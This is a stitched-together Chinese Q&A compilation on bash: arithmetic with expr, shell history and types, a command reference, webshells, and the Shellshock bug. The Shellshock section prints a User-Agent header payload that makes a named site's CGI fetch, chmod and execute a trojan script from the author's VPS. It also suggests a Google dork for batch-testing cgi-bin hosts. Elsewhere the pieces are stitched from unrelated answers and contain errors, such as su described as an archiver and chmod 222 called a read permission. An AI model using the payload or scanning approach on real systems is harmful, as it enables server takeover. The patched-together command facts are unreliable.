关于linux下bash编程中expr命令问题
应该改成:
$ a=2
$ b=3
$ c=`expr $a + $b`//`是Tab上面的那个按键,意思在这行里面两个``之间的命令最先执行
$ echo $c
你还可以用这种方面来计算:
$ a=2
$ b=3
$ c=$(($a+$b))
$ echo $c
解释一下:$((里面能进行运算))
bash是什么编程语言呀
什么是shell
shell是用户和Linux操作系统之间的接口。Linux中有多种shell,其中缺省使用的是Bash。本章讲述了shell的工作原理,shell的种类,shell的一般操作及Bash的特性。
什么是shell
Linux系统的shell作为操作系统的外壳,为用户提供使用操作系统的接口。它是命令语言、命令解释程序及程序设计语言的统称。
shell是用户和Linux内核之间的接口程序,如果把Linux内核想象成一个球体的中心,shell就是围绕内核的外层。当从shell或其他程序向Linux传递命令时,内核会做出相应的反应。
shell是一个命令语言解释器,它拥有自己内建的shell命令集,shell也能被系统中其他应用程序所调用。用户在提示符下输入的命令都由shell先解释然后传给Linux核心。
Shell是一种具备特殊功能的程序, 它是介于使用者和 UNIX/linux 操作系统之核心
程序(kernel)间的一个接口。为什么我们说 shell 是一种介于系统核心程序与使用者
间的中介者呢?读过操作系统概论的读者们都知道操作系统是一个系统资源的管理者与分
配者,当您有需求时,您得向系统提出;从操作系统的角度来看,它也必须防止使用者因
为错误的操作而造成系统的伤害?众所周知,对计算机下命令得透过命令(command) 或
是程序(program);程序有编译器(compiler)将程序转为二进制代码,可是命令呢?
其实shell 也是一支程序,它由输入设备读取命令,再将其转为计算机可以了解的机械码,
然后执行它。
各种操作系统都有它自己的 shell,以 DOS 为例,它的 shell 就是 command.com文
件。如同 DOS 下有 NDOS,4DOS,DRDOS 等不同的命令解译程序可以取代标准的
command.com ,UNIX 下除了 Bourne shell(/bin/sh) 外还有 C shell(/bin/csh)、
Korn shell(/bin/ksh)、Bourne again shell(/bin/bash)、Tenex C shell(tcsh)
等其它的 shell。UNIX/linux将 shell 独立于核心程序之外, 使得它就如同一般的应用
程序, 可以在不影响操作系统本身的情况下进行修改、更新版本或是添加新的功能。
有一些命令,比如改变工作目录命令cd,是包含在shell内部的。还有一些命令,例如拷贝命令cp和移动命令rm,是存在于文件系统中某个目录下的单独的程序。对用户而言,不必关心一个命令是建立在shell内部还是一个单独的程序。
shell首先检查命令是否是内部命令,若不是再检查是否是一个应用程序(这里的应用程序可以是Linux本身的实用程序,如ls和rm,也可以是购买的商业程序,如xv,或者是自由软件,如emacs)。然后shell在搜索路径里寻找这些应用程序(搜索路径就是一个能找到可执行程序的目录列表)。如果键入的命令不是一个内部命令并且在路径里没有找到这个可执行文件,将会显示一条错误信息。如果能够成功找到命令,该内部命令或应用程序将被分解为系统调用并传给Linux内核。
shell的另一个重要特性是它自身就是一个解释型的程序设计语言,shell程序设计语言支持绝大多数在高级语言中能见到的程序元素,如函数、变量、数组和程序控制结构。shell编程语言简单易学,任何在提示符中能键入的命令都能放到一个可执行的shell程序中。
当普通用户成功登录,系统将执行一个称为shell的程序。正是shell进程提供了命令行提示符。作为默认值(TurboLinux系统默认的shell是BASH),对普通用户用“$”作提示符,对超级用户(root)用“#”作提示符。
一旦出现了shell提示符,就可以键入命令名称及命令所需要的参数。shell将执行这些命令。如果一条命令花费了很长的时间来运行,或者在屏幕上产生了大量的输出,可以从键盘上按ctrl+c发出中断信号来中断它(在正常结束之前,中止它的执行)。
当用户准备结束登录对话进程时,可以键入logout命令、exit命令或文件结束符(EOF)(按ctrl+d实现),结束登录。
Linux里面bash是什么?
Bash,Unix
shell的一种,在1987年由布莱恩·福克斯为了GNU计划而编写。1989年发布第一个正式版本,原先是计划用在GNU操作系统上,但能运行于大多数类Unix系统的操作系统之上,包括Linux与Mac
OS X v10.4都将它作为默认shell。
Bash是一个命令处理器,通常运行于文本窗口中,并能执行用户直接输入的命令。Bash还能从文件中读取命令,这样的文件称为脚本。和其他Unix
shell
一样,它支持文件名替换(通配符匹配)、管道、here文档、命令替换、变量,以及条件判断和循环遍历的结构控制语句。包括关键字、语法在内的基本特性全部是从sh借鉴过来的。其他特性,例如历史命令,是从csh和ksh借鉴而来。总的来说,Bash虽然是一个满足POSIX规范的shell,但有很多扩展。
Bash漏洞是什么意思?
目前网上曝光了一个非常严重的Bash漏洞,它允许黑客向服务器发出遥控指令,轻松盗取隐私信息,然而很多朋友对于Bash是什么以及Bash是什么意思不了解,因此以下这篇知识扫盲文章,会给大家带来一定的帮助。
Bash是什么?
bash是一个为GNU计划编写的Unix shell。它的名字是一系列缩写:Bourne-Again SHell — 这是关于Bourne shell(sh)的一个双关语(Bourne again / born again)。Bourne shell是一个早期的重要shell,由史蒂夫·伯恩在1978年前后编写,并同Version 7 Unix一起发布。bash则在1987年由布莱恩·福克斯创造。在1990年,Chet Ramey成为了主要的维护者。
bash是大多数Linux系统以及Mac OS X v10.4默认的shell,它能运行于大多数Unix风格的操作系统之上,甚至被移植到了Microsoft Windows上的Cygwin系统中,以实现windows的POSIX虚拟接口。此外,它也被DJGPP项目移植到了MS-DOS上。
2014年9月,多名网络安全专家发现一种在网络中已经隐藏20年的bug,这种名为Bash的漏洞比“心脏出血”漏洞的威胁还要严重。黑客可以通过它遥控向网络服务器发出指令,这意味着服务器受影响的公司将遇到大麻烦。
因此,在当前,Bash是一个安全漏洞,允许黑客向网络服务器发出遥控指令。由于这种bug允许黑客指令服务器去做任何他想做的事情,为此隐私信息很容易被从受影响的服务器中窃走。
Bash解决办法:
1、下载最新的补丁进行修复,方法为:
2、在机器上运行命令:
$ env x='() { :;}; echo vulnerable' bash -c "echo this is a test"
如果返回以下内容:则请尽快升级。
vulnerablethis is a test目前官方已经提供了升级包请运行:yum update -y bash 进行升级处理!
Bash是什么意思?
bash是一个英文单词,字面意思有:痛击、猛击严厉批评、怒殴、威胁地批评指责等含义。
不过bash通常是borne again shell的缩写,它是shell的一种,Linux上默认采用的是bash当你在命令行中敲入bash命令时,相当于进入bash环境,如果本身就是bash环境,那么就是进入一个子bash环境,相当于开了一个子进程。
bash shell脚本编程问题
if [ ! -d /root]
! 为非 条件反转 也就是当 /root 不存在的时候为true 否则为false
if [ -f root -o -f file ]
root 或 file 也就是 || 满足其中一个条件判断为true 否则为 false
if [ -f root -a -f file ]
root 和 file 也就是 两个判断必须全部满足条件才能是ture 否则为false
bash远程命令执行漏洞 怎么修复
从昨天开始,这个从澳大利亚远渡重洋而来的BASH远程命令执行漏洞就沸腾了整个FreeBuf,大家都在谈论,“互联网的心脏又出血了”,可是,亲,到底怎么对网站进行测试?下面这段脚本
$ env x=‘() { :;}; echo vulnerable' bash -c "echo this is a test"
真的如各路大神们说的这样吗?
它与“心脏出血”漏洞不同,“心脏出血”只能借助窃取用户电脑信息,而bash 漏洞允许黑客远程控制电脑,拿到系统最高权限!其方法利用就更简单了——复制/粘贴一行命令代码即可!
Bash漏洞为什么能够执行
Bash漏洞的原理:
BASH除了可以将shell变量导出为环境变量,还可以将shell函数导出为环境变量!当前版本的bash通过以函数名作为环境变量名,以“(){”开头的字串作为环境变量的值来将函数定义导出为环境变量。
此次爆出的漏洞在于BASH处理这样的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令。
简单地说就是,Bash脚本在解析某些特殊字符串时出现逻辑错误导致可以执行后面的命令。
Bash漏洞与远程执行有啥联系
看到上面的解释,很多童鞋都理解成了本地的漏洞,然后很多人又觉得,本地有啥可以利用的,于是就忽略了这个神级漏洞的存在。我想说的是,这个漏洞,利用热度可以媲美当年的MS08-067,威力虽然弱了点,但远程控制电脑还是可以的。
首先解释一下cgi脚本。很多网站类似下面的链接:
GET http://help.tenpay.com/cgi-bin/helpcenter/help_center.cgi?id=20HTTP/1.1
后台不仅仅用python、Perl来解释执行并反馈给客户端Response,当然还可以换做bash脚本来解释执行提交上来的GET/POST请求。所以,理论上,你在HTTP请求中插入一个Bash命令,比如
() { :;}; wget http://www.myvps.org/testvul.sh
如果服务器的Bash解释器具有这个漏洞,那么在解释上面这这句话的时候就会执行wget请求,将一个恶意的testvul.sh文件下载到这个服务器,那为何说要放在HTTP头部呢?比如:
GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: Mozilla/5.0 (X11; Ubuntu; rv:32.0) Gecko/20100101 Firefox/32.0
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive
这是因为这个漏洞是bash解释器在解释某些特殊的变量时才可以触发的:
在于BASH处理以“(){”开头的“函数环境变量”的时候,并没有以函数结尾“}”为结束,而是一直执行其后的shell命令
通过自定义这些参数的值为“函数环境变量”的形式,就可以触发后面的命令,恶意的客户仅需要发送特殊构造的HTTP请求就可以使服务器执行特定的命令(命令的权限和解释HTTP请求的Bash脚本环境相同)。
实际测试中,我的构造的测试请求:
GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: () { :;}; /usr/bin/wget http://myvps.org/remember_client_ip.php
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive
过程是这样的:
我发送GET请求–目标服务器cgi路径
目标服务器解析这个get请求,碰到UserAgent后面的参数,Bash解释器就执行了后面的命令
目标服务器wget–我的myvps.org
我的vps记录下这个访问的IP地址
然后查看我的myvps.org服务器的访问记录,就可以确定目标有没有去访问,如果访问了,那么,很好,它是有漏洞的。下面是我的VPS接收到的wget请求访问的日志:
大神是这样测试漏洞的
当然,你也可以这样构造:
GET /cgi-bin/helpcenter/help_center.cgi?id=20 HTTP/1.1
Host: help.tenpay.com
User-Agent: () { :;}; /usr/bin/wget -O /tmp/muma.sh ;chmod 777 /tmp/muma.sh; ./tmp/muma.sh
Accept: */*
Referer: http://www.baidu.com
Connection: keep-alive
实际上执行了下面三句:
/usr/bin/wget -O /tmp/muma.sh http://myvps.org/muma.sh ;
chmod 777 /tmp/muma.sh;
./tmp/muma.sh
你会发现,脚本就执行了,这就是Bash漏洞利用测试的精髓。
当然,你可以利用批量Google搜索:
filetype:cgi inurl:cgi-bin site:jp
然后批量提交类似的GET请求,你就能做到批量测试了。测试表明,500个url里有6-8个有bash漏洞
求Bash shell命令
at----安排,检查,删除队列中的工作
cat----连接文件并打印到标准输出
cd----改变目录,能处理绝对和相对路径
chmod----改变文件保护权限
chown----改变文件的属主和组
clear----清除屏幕(象DOS中的cls)
cp----拷贝文件
crontab----操作每个用户的守护程序和执行的时间表
date----打印或设置系统日期和时间
dd----拷贝一个文件(并可以同时转化它)
df----报告磁盘剩余空间
du----报告磁盘空间使用情况
file----探测文件和目录类型
find----搜索目录中文件
grep----在文件中搜索匹配的行并输出
gzip----压缩或展开文件
head----显示文件的前几行
history----显示历史命令记录
kill----中止一个进程
last----显示过去多少个用户或终端登录到本机器
less----想对于more命令, 用来按页显示文件
ln----在文件间建立连接
ls----列出当前目录下的文件
man----显示具有一定格式的在线手册
more----命令能逐页阅读文本
mount----安装一个文件系统
mv----将文件改名
passwd----设置用户的密码
ps----命令罗列运行进程
reboot----重新启动系统
rm----命令用于删除文件
su----创建和编辑Unix归档文件
tar----创建和编辑Unix归档文件
touch----改变文件的时间参数
wc----统计一个文件中的字节数,单词数,行数
who----查看其他登录的用户
which----which--显示命令的全路径
ping----命令—确定网络上机器是否可达或到达速率
使用多任务
输出重定向
了解进程
--------------------------------------------------------------------------------
在Linux系统中有两种操作界面,分别是:X窗口模式(缺省为KDE)和控制台模式(Console)。两中操作界面类似于Windows和DOS。
如果在X窗口模式下想转变为控制台模式,您只需同时按下Alt+F1(或F2…F6)键,屏幕将会出现新的等录窗口,您可以重新以控制台模式登录系统。如果在控制台模式下,要想返会X窗口模式,需要您同时按下Ctrl+Alt+F7键。
如果没有启动X窗口方式,想从控制台方式中启动X窗口方式,请在控制台方式中输入:startx(或kdm),就可以启动X窗口。
在上面两章中我们已经介绍了X窗口(缺省为KDE)的操作,在本章和下一章中我们将主要讨论控制台模式下的操作,同时也将会间插相应的KDE操作。
6.1 启动和关闭系统
启动系统
如果您在安装过程中已经安装了LILO, 您就可以启动系统,LILO启动时,屏幕显示:
LILO:
单击Tab键,屏幕将显示所有可以启动的操作系统。键入显示的操作系统名,您就可以启动相应操作系统。键入Linux可启动BluePoint Linux127;系统。如果您直接击回车键或等待5秒钟,同样可以启动BluePoint Linux127;操作系统。
另一种启动linux系统的方法是:在DOS/WINDOWS系统下运行loadlin.exe。具体使用方法参见相应资料。
登录程序
Linux系统是多用户系统。如果想使用系统,就要鉴别使用者身份进行鉴别,这就是所谓的注册程序。在安装过程中,我们已经创建了叫root超级用户帐号。启动系统后,在登录命令行,键入root,再输入密码("Password")。如果密码正确,登录成功。
建议: 进入系统后建立第二个帐号(非特权用户),以便日常使用。
因为root帐号拥有整个系统的资源所有权,是管理帐号而非工作帐号。
如果您要创建工作帐号,需要两个步骤:
第一步: 创建用户注册帐号。
键入:addusr login_name
其中login_name是您选择的注册帐号(不要使用root)。
第二步: 创建帐号密码。
键入:passwd login_password
其中login_password是您选择的帐号密码(最好不要 和root密码相同)。
如果普通用户要想使用系统的所有特权,使用su命令,并在root命令行中输入 root密码。另外,您还可以使用超级用户模式文件管理器来获取系统资源, 使用方法是:
“K菜单”--”系统应用”--”文件管理器(超级用户方式)”
如果您的同事(家庭成员…)要使用您计算机系统,应该为这些用户创建新的用户帐号,而不能将root帐号告诉他们。注意:您要充分利用Linux是多用户操作系统这个优点。
关闭系统
关闭系统的方法有很多,但千万不要直接关断电源!
因为,Linux是使用缓存和磁盘(硬盘,软盘…)来加速输入/输出的;如果直接关断电源,存起来的数据可能没有真正写到磁盘,可能会导致数据丢失。
正确关闭系统是下面几种:
键入/sbin/halt命令(或直接键入halt),等待系统挂起的消息(systemhalted)再关闭系统
快速关闭系统方法是同时按下Ctrl+Alt+Del键(象DOS一样),系统将卸载所有外围设备,并等待计算机重初始化时,再关断电源 。
使用KDM会话。在桌面上任意位置单击右键,选择“注销”。再选择"关闭"系统或"重启"系统。
如果直接关断电源或发生掉电,会出现什么情况呢?Linux重新启系统时会检查未正确卸载的磁盘(fsck 操作)。持续几分钟后。系统可能才会正确启动。
6.2 Linux 的shells
一旦进入系统,您将会看到$的提示符,提示您键入命令。这个等待命令的程序叫shell,其作用是将指令传送给Linux的内核。
Linux系统中有许多不同shell: bash,csh,ksh,tcsh,sh,zsh…..。
在BluePoint Linux127;系统系统中,shell选用"Bash",因为Bash shell简单并且功能强大。
如果您想知道目前使用的是那种shell,您只要简单键入: echo $SHELL
可以发现系统正在使用的shell类型。
注意:不同的shell有不同的语法。
6.3 使用Bash shell
和DOS系统一样, Linux系统控制台也采用命令行方式。需要在控制台上输入命令,才会执行。
快捷方式
通用的键盘快捷方式是:
. Ctrl+A 到开始行
. Ctrl+U 清除目前行
. Ctrl+C 停止运行的程序
.使用分号能在同一行中键入几个命令。
.上下键能获取命令历史记录。
自动名字补全
在Linux系统下,程序和命令名有时十分长,Bash支持自动名字补全功能。
您开始键入命令名字,再击Tab键,系统将为您自动补全命令或程序或目录名字。
例如: 如果您要使用解压程序bunzip。键入
$bu
接着击Tab键:Bash将显示所有以bu开始的名字。例如:
buildhash buildin bunzip
键入n (bunzip2是唯一名字第三个字符是n),再击Tab键。shell将为您在命令行补全名字,您只要击回车键就可以执行bunzip2命令了。
at命令
at,batch,atq,atrm:安排,检查,删除队列中的工作。
at [-V][-q 队列][-f 文件名][-mlbv ] 时间
at -c 作业 [作业…]
atq [-V] [-q队列][-v]
atrm [-V] 作业 [作业…]
batch [-V] [-q队列] [-f 文件名] [-mv ] [时间]
at在设定时间执行作业。
atq列出用户排在队列中的作业,如果是超级用户,就列出队列中所有的作业。
atrm 删除队列中的作业。
batch 用低优先级运行作业,只要系统的loadavg(系统平均负载)1.5(或者在atrun中设定的值),它就可开始执行作业。
超级用户可以在任何情况下使用at系列的命令。一般用户使用at系列命令的权限由文件/etc/at.allow,/etc/at.deny控制。如果/etc/at.allow存在,则只有列在这个文件中的用户才能使用at系列命令。如果/etc/at.allow文件不存在,则检查文件/etc/at.deny这个文件。只要不列在这个文件中的用户都可以使用at系列的命令。缺省的配置是文件/etc/at.deny是一个空文件,这表明所有的用户都可以使用a系列的命令。
例如:
在二天后上午8点执行文件workfile中的作业。
[test@bluepoint /]$at -f workfile 8am+2 days
cat命令
cat---连接文件并打印到标准输出。
cat常常用来显示文件,类似于DOS下命令TYPE。
例如:
显示文件file的内容
[test@bluepoint /]$cat file
将file1,file2连接起来输出到文件file3中。
[test@bluepoint /]$cat file1 file2file3
cd命令
cd---改变目录,能处理绝对和相对路径。
例如:
假如当前在根目录中,想进入etc/子目录。键入(相对目录):
[test@bluepoint /]$cd etc/
如果想进入/usr/bin目录,键入(绝对目录):
[test@bluepoint /]$cd /usr/bin/
此命令一些实用选项是:
回到父目录(注意cd和.. 之间有空格)
[test@bluepoint /]$cd ..
回到目前目录了。
[test@bluepoint /]$cd .
cd ~ 到达个人目录
[test@bluepoint /]$cd ~
chmod命令
chmod-- 改变文件保护权限
文件保护控制用户对文件的访问权,有三个安全级别:所有者级别,组访问级别,其它用户访问级别。在这三个级别中,又有三种权限:读(r),写(w),执行(x)。(用户可以使用ls -lg 命令来观看某一文件的所属的group)。
对于文件来说读权限意味着可以看文件的内容,写文件权可以修改或删除文件,执行权限则可以执行它。对于目录来说,读权限意味可以查看目录下的内容,写权限意味着可以在目录中建立新文件,并可以从目录中删除文件,执行权限意味着可以从一个目录转到另一个目录。
保护权限:格式为[ugoa][[+-=][rwxXstugo…]…][….]"ugoa"控制哪些用户对该文件权限将会改变:(u)文件的所有者,(g)与文件所有者同组的用户,(0)其它组的用户,(a)所有用户。操作符"+"使得用户权限被追加到每个目录文件。操作符"-"使得用户权限被取消,操作符"="使用户只有这些权限。"rwxXstugo"选择新的属性:(r)读权限(w)写权限(x)执行权限(和对目录的访问权)(X)只有目标文件对某些用户是可执行的或该目标文件是目录时才追加X属性(s)同时设定用户或组ID(t)保存程序的文本到交换设备上(u)目标文件属主(g)目标文件属主所在的组(o)其它用户。如果数字来表示属性,则(0)没有权限(1)执行权(2)读权(4)写权,然后相加,所以数字属性的格式应为3个0到7的八进制数,其顺序是(u)(g)(o)文件名:以空格分开的要改变权限的文件列表,支持通配符。
范例:
使所有用户对文件testfile有执行权
[test@bluepoint /]$chmod a+x testfile
使所有用户对文件testfile读权
[test@bluepoint /]$chmod 222 testfile
chown 命令
chown --改变文件的属主和组。
用户:可以是用户名或用户ID。
组:可以是组名或组的ID。
文件名:以空格分开的要改变权限的文件列表,支持通配符。
例如:
[test@bluepoint /]$ chown host:test file1
将文件file1的属主改为host组的test。
clear命令
clear--清除屏幕(象DOS中的cls)。
例如:
[test@bluepoint /] $clear
清除屏幕,提示符将被移到左上角。
cp 命令
cp--拷贝文件
用法:
cp [options] 源文件 目标文件
选项:
-f,--force:强行覆盖已存在的目标文件
-i,-interactive:在强行覆盖已存在的目标文件时给出提示。
-R,--recursive:整个目录拷贝。
例如:
[test@bluepoint /]cp sourcefile destfile
拷贝文件sourcefile到文件destfile。
crontab命令
crontab--操作每个用户的守护程序和执行的时间表。
crontab file [-u user]--用指定的文件替代目前的crontab。
crontab - [-u user]--用标准输入替代目前的crontab。
crontab -l [user]--列出用户目前的crontab。
crontab -e [user]--编辑用户目前 的crontab 。
crontab -d [user]--删除用户目前 的crontab 。
crontab -c dir --指定crontab的目录。
crontab文件的格式:M H D m d cmd
M:分钟(0-59)
H:小时(0-23)
D:天(1-31)
m:月份(1-12)
d:一星期内的天(0-6,0为星期天)
cmd:要运行的程序,程序被送入shell执行,这个shell只有USER,HOME,SHELL三个环境变量。
例如:
列出用户目前的crontab
[test@bluepoint /]$crontab -l
$MIN HOUR DAY MOUTH DAYOFWEEK COMMAND
8 6 * * * clear
[test@bluepoint /]$
date命令
date--打印或设置系统日期和时间
date [-u] [-d datestr] [-s datestr] [--utc][--universal][--date=datestr][--set=datestr] [--help][--version][+FORMAT][MMDDhhmm[[CC]YY][。ss]]
+FORMAT:控制如何显示日期。
指令: % :%号
n:新行
t:TAB
时间域
%H 小时 (00..23)
%l 小时 (00..12)
%k 小时 (0..23)
%l 小时 (1..12)
%M 小时 (00..59)
%p AM或者PM
%r
shell, 抓包,的含义是什么?非计算机专业想入门黑客要多长时间要学些什么
shell
操作系统与外部最主要的接口就叫做shell。shell是操作系统最外面的一层。shell管理你与操作系统之间的交互:等待你输入,向操作系统解释你的输入,并且处理各种各样的操作系统的输出结果。
shell提供了你与操作系统之间通讯的方式。这种通讯可以以交互方式(从键盘输入,并且可以立即得到响应),或者以shell script(非交互)方式执行。shell script是放在文件中的一串shell和操作系统命令,它们可以被重复使用。本质上,shell script是命令行命令简单的组合到一个文件里面。
Shell基本上是一个命令解释器,类似于DOS下的command.com。它接收用户命令(如ls等),然后调用相应的应用程序。较为通用的shell有标准的Bourne shell (sh)和C shell (csh)。
交互式shell和非交互式shell
交互式模式就是shell等待你的输入,并且执行你提交的命令。这种模式被称作交互式是因为shell与用户进行交互。这种模式也是大多数用户非常熟悉的:登录、执行一些命令、签退。当你签退后,shell也终止了。
shell也可以运行在另外一种模式:非交互式模式。在这种模式下,shell不与你进行交互,而是读取存放在文件中的命令,并且执行它们。当它读到文件的结尾,shell也就终止了。
shell的类型
在UNIX中主要有两大类shell
Bourne shell (包括 sh, ksh, and bash)
Bourne shell ( sh)
Korn shell ( ksh)
Bourne Again shell ( bash)
POSIX shell ( sh)
C shell (包括 csh and tcsh)
C shell ( csh)
TENEX/TOPS C shell ( tcsh)
Bourne Shell
最初的UNIX shell是由Stephen R. Bourne于20世纪70年代中期在新泽西的ATT贝尔实验室编写的,这就是Bourne shell。Bourne shell 是一个交换式的命令解释器和命令编程语言。Bourne shell 可以运行为login shell或者login shell的子shell(subshell)。只有login命令可以调用Bourne shell作为一个login shell。此时,shell先读取/etc/profile文件和$HOME/.profile文件。/etc/profile文件为所有的用户定制环境,$HOME/.profile文件为本用户定制环境。最后,shell会等待读取你的输入。
C Shell
Bill Joy于20世纪80年代早期,在Berkeley的加利福尼亚大学开发了C shell。它主要是为了让用户更容易的使用交互式功能,并把ALGOL风格的语法结构变成了C语言风格。它新增了命令历史、别名、文件名替换、作业控制等功能。
Korn Shell
有很长一段时间,只有两类shell供人们选择,Bourne shell用来编程,C shell用来交互。为了改变这种状况,ATT的bell实验室David Korn开发了Korn shell。ksh结合了所有的C shell的交互式特性,并融入了Bourne shell的语法。因此,Korn shell广受用户的欢迎。它还新增了数学计算,进程协作(coprocess)、行内编辑(inline editing)等功能。Korn Shell 是一个交互式的命令解释器和命令编程语言.它符合POSIX——一个操作系统的国际标准.POSIX不是一个操作系统,而是一个目标在于应用程序的移植性的标准——在源程序一级跨越多种平台。
Bourne Again Shell (bash)
bash是GNU计划的一部分,用来替代Bourne shell。它用于基于GNU的系统如Linux.大多数的Linux(Red Hat, Slackware, Caldera)都以bash作为缺省的shell,并且运行sh时,其实调用的是bash。
POSIX Shell
POSIX shell 是Korn shell的一个变种. 当前提供POSIX shell的最大卖主是Hewlett-Packard。在HP-UX 11.0 , POSIX shell 就是/bin/sh,而bsh是/usr/old/bin/sh.
各主要操作系统下缺省的shell:
AIX 下是Korn Shell.
Solaris和FreeBSD缺省的是Bourne shell.
HP-UX缺省的是POSIX shell.
Linux是Bourne Again shell.
webshell
1、webshell是什么?
顾名思义,"web" - 显然需要服务器开放web服务,"shell" - 取得对服务器某种程度上操作权限。
webshell常常被称为匿名用户(入侵者)通过WEB服务端口对WEB服务器有某种程度上操作的权限,由于其大多是以网页脚本的形式出现,也有人称之为网站后门工具。
2、webshell有什么作用?
一方面,webshell被站长常常用于网站管理、服务器管理等等,根据FSO权限的不同,作用有在线编辑网页脚本、上传下载文件、查看数据库、执行任意程序命令等。
另一方面,被入侵者利用,从而达到控制网站服务器的目的。这些网页脚本常称为WEB
脚本木马,目前比较流行的asp或php木马,也有基于.NET的脚本木马。
对于后者我本人是反对的,毕竟人要厚道。
3、webshell的隐蔽性
有些恶意网页脚本可以嵌套在正常网页中运行,且不容易被查杀。
webshell可以穿越服务器防火墙,由于与被控制的服务器或远程主机交换的数据都是通过80端口传递的,因此不会被防火墙拦截。并且使用webshell一般不会在系统日志中留下记录,只会在网站的web日志中留下一些数据提交记录,没有经验的管理员是很难看出入侵痕迹的。
4、如何防范恶意后门?
从根本上解决动态网页脚本的安全问题,要做到防注入、防暴库、防COOKIES欺骗、防跨站攻击等等,务必配置好服务器FSO权限。
想学的话,最好学习C语言,C++,asp,php,jsp,perl,delphi,vb,vc,asp.net,dos,unix操作系统,linux操作系统,minix,tcp/ip协议,汇编语言……,至于其他的一些基础都得知道